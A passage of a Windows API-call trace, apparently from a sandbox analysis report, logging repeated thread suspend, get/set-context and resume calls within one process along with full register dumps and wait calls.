FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0126.764] ResumeThread (hThread=0x100) returned 0x1 [0126.764] CloseHandle (hObject=0x100) returned 1 [0126.764] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0126.881] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0127.099] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0127.099] SuspendThread (hThread=0x100) returned 0x0 [0127.099] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fae0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f700ec0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0127.100] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fad8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0127.101] ResumeThread (hThread=0x100) returned 0x1 [0127.101] CloseHandle (hObject=0x100) returned 1 [0127.101] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0127.216] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0127.328] SetEvent (hEvent=0xbc) returned 1 [0127.328] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0127.441] timeEndPeriod (uPeriod=0x1) returned 0x0 [0127.442] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0127.606] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0127.606] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0127.606] SuspendThread (hThread=0x100) returned 0x0 [0127.606] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10212, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fb58, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fd44000, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0127.607] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10212, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fb50, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0127.607] ResumeThread (hThread=0x100) returned 0x1 [0127.607] CloseHandle (hObject=0x100) returned 1 [0127.608] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0127.729] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0127.833] DuplicateHandle (in: 